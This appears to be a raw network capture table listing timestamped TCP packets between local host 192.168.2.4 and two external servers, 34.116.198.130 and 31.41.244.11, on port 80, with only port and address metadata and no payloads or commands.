Nov 24, 2024 12:24:25.490015984 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.490637064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.490762949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.490871906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.491586924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.491622925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.491676092 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.492480993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.492533922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.492587090 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.493388891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.493602991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.493649960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.494321108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.494435072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.494560957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.495223999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.495357990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.495405912 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.496098042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.496239901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.496289968 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.497073889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.497107983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.497149944 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.497960091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.498042107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.498092890 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.498823881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.498919010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.498963118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.499762058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.499815941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.499860048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.500675917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.500845909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.500893116 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.501575947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.501687050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.502321005 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.502476931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.502600908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.502652884 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.503371000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.503503084 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.503556967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.504333973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.504368067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.504422903 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.585762024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.585794926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.585849047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.585901022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.585944891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.585944891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.586767912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.587584019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.587636948 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.587920904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.587954998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.589126110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.596194983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.596312046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.596369982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.596687078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.596739054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.597104073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.597918987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.597974062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.597995043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.598437071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.598908901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.599365950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.599416971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.600023985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.600078106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.600286961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.600392103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.601156950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.601205111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.601274014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.601322889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.602233887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.602320910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.602328062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.602372885 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.603332043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.603385925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.603806973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.603861094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.604398012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.604445934 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.604525089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.604613066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.605537891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.605591059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.605773926 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.605815887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.606707096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.606786966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.606805086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.606856108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.607830048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.607880116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.607960939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.608007908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.608834028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.608880997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.609050989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.609097004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.610054016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.610101938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.610189915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.610230923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.611057043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.611108065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.611174107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.611219883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.612160921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.612209082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.612322092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.612370968 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.613554001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.613603115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.613606930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.613647938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.614686966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.614732981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.614825010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.614886045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.615475893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.615523100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.615673065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.615720987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.616605997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.616657019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.617017984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.617064953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.617696047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.617747068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.617881060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.617927074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.618820906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.618868113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.618948936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.618995905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.619936943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.619982958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.620210886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.620259047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.621046066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.621143103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.621223927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.621269941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.622102976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.622152090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.622262001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.622308016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.623346090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.623394012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.623734951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.623781919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.624763966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.624814034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.624933958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.624984980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.625905991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.625957012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.625998020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.626044989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.626568079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.626616001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.627142906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.627191067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.627686977 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.627732038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.628060102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.628106117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.628804922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.628851891 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.628966093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.629010916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.629945040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.629991055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.630058050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.630105019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.630955935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.631000042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.631805897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.631855011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.632086039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.632134914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.632570028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.632622957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.633161068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.633208036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.633502960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.633550882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.634272099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.634315968 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.634996891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.635044098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.635376930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.635432959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.635601997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.635649920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.636485100 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.636533022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.636907101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.636955976 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.637598991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.637646914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.637728930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.637773991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.638714075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.638760090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.638874054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.638921976 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.639816999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.639866114 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.639945030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.639987946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.640892029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.640938997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.641160965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.641208887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.642085075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.642122030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.642138004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.642164946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.643155098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.643203974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.643256903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.643306017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.644373894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.644418001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.644610882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.644661903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.645311117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.645355940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.645626068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.645673037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.646483898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.646533966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.646601915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.646642923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.647528887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.647591114 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.648112059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.648689985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.648724079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.648747921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.648787975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.649765968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.649883032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.649965048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.650007963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.650876999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.650926113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.651776075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.651823044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.652003050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.652051926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.652317047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.652364016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.653060913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.653112888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.653321981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.653368950 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.654114008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.654165983 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.664453983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.664752007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.664817095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.664860010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.665033102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.665076017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.665736914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.665905952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.666439056 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.666574001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.666744947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.666796923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.667577028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.667681932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.667737007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.668370962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.668559074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.668612003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.669209957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.669275999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.669317007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.670141935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.670468092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.670579910 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.671005011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.671951056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.671986103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.672008038 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.672019958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.672086000 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.672774076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.672890902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.673027992 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.673635960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.674201012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.674259901 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.674518108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.674659014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.674742937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.675375938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.676175117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.676238060 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.676357031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.676446915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.676532030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.677133083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.677328110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.677429914 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.678072929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.678108931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.678155899 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.678900957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.679857969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.679891109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.679908037 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.679924011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.680659056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.680705070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.681303024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.681576967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.681624889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.682419062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.682571888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.682605028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.682626009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.682648897 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.683301926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.683737993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.683796883 CET	49792	80	192.168.2.4	34.116.198.130
